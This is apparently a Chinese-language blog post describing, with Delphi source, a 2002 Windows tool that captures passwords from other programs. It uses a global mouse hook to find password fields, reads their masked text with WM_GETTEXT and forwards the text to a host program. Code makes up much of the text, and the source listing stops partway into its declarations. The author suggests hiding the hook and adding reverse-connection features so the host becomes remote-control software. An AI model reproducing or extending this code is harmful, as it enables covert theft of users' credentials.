1、
设计原理:注册一个系统级鼠标挂钩,通过监测系统鼠标所在Windows窗口来获取密码,成功获取密码之后,通过发送自定义的Windows系统消息,到宿主程序。
2、
动态链接库设计原理:采用Windows Hook技术[鼠标挂钩],切入远程进程内部,并监测当前系统鼠标所在位置的当然窗口句柄(通过Windows APIWindowFromPoint()),获取窗口句柄之后,判断当然窗口是否为文本框,并进一步判断是否为密码框,当发现是密码输入框时,当此窗口发送WM_GETTEXT消息,获取密码。成功获取密码之后,发现自定义的WM_COPYDATA消息到宿主程序;
Hook
具体实现步骤简介:
1.
设置系统鼠标挂钩:
hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);
2.
注销系统鼠标挂钩:
UnHookWindowsHookEx(hkMouseHook);
3.
监测当然窗口及窗口风格判断:
MousePos := pMhs.pt;
wnd := WindowFromPoint(pmhs.pt);
style := GetWindowLong(wnd,GWL_STYLE);
if (style and ES_PASSWORD) = ES_PASSWORD then
begin
//发现密码窗口
end;
4.
向密码框获取密码串:
SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));
5.
发送自定义消息到宿主程序:
GetMem(pmi,sizeof(TMouseInfo));
pmi.MouseX := pt.X;
pmi.MouseY := pt.Y;
pmi.MouseTitle := pwd;
GetMem(pcds,sizeof(TCopyDataStruct));
pcds.dwData := 9910;
pcds.cbData := sizeof(TMouseInfo);
pcds.lpData := pmi;
SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));
3、
宿主程序设计原理:我的宿主程序是自己学习Windows SDK开发时作品,采用纯SDK实现。SDK的编程不用废话了吧。在这个工具程序中,只需要在系统消息处理方法中,增加一个对WM_COPYDATA的拦截及处理过程就可能了。
case uMsg of
WM_COPYDATA:
begin
CXX_ReceiveCopyData(uMsg);
end;
……
end;
4、
应用技术提点:这个是本人在2002年学习Microsoft Windows SDK编程技术时的学习作品。当然,有兴趣的话,你完全可以将其Hook进一步进行隐藏,并为其增加“端口反弹”或者“半连接”功能,宿主程序可以是自己的远程XXXXXX,哈哈,这样发布出来的话,想知道的东西就多了……
5、
完整源码代码:
1. 鼠标挂钩部分:
Hook
{
产品名称: Windows 密码工具[Window98/NT/2000/XP]
功能描述: 截取Windows密码编辑框中的密码串
采用纯粹的SDK开发
能捕捉windows98/NT/2000/XP的密码框中的"*"密码
开发平台: Windows2000 + Delphi6 + MSDN + SDK
开发者: 成晓旭
版权所有: 成晓旭
模块设计者: 成晓旭
设计思路: 采用Windows Hook技术[鼠标挂钩],切入远程进程内部,
再发送WM_GETTEXT消息截取密码,最后用SendMessage发送
WM_COPYDATA消息自定义的密码信息结构体到目标窗口,以
显示或处理Hook DLL所截取的远程进程的密码.
开始时间: 2002年3月4日
完成时间: 2002年5月24日[最终实现]
备 注: 此工具是本人在2002年开发的第二个软件
本工具在2000年6月份左右曾实现过一个Windows98下的
密码截取工具,两年以来,我一直没有放弃过实现Windows
操作系统下的所有密码的截取,如此,终于实现了两年以来
未曾实现的截取WindowsNT系列的密码.[2002/05/24]
以后的路还很长:WindowNT系列的当前用户登录密码、
内存长驻的其它密码等等.
}
unit MouseHook;
interface
uses
Messages,Windows;//,SysUtils;
var
hkMouseHook:HHook;
ProcSafelyExit:Pointer;
uCXXMsg:UINT;
procedure DllEntryProc(ul_reason_for_call:DWORD);
procedure SetupHook(fSet:boolean);stdcall;export;
function CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
procedure AutoUnInstallHook();far;
implementation
uses DataStruct;
procedure CXX_SendCopyData(pt:TPoint;pwd:TMTitle);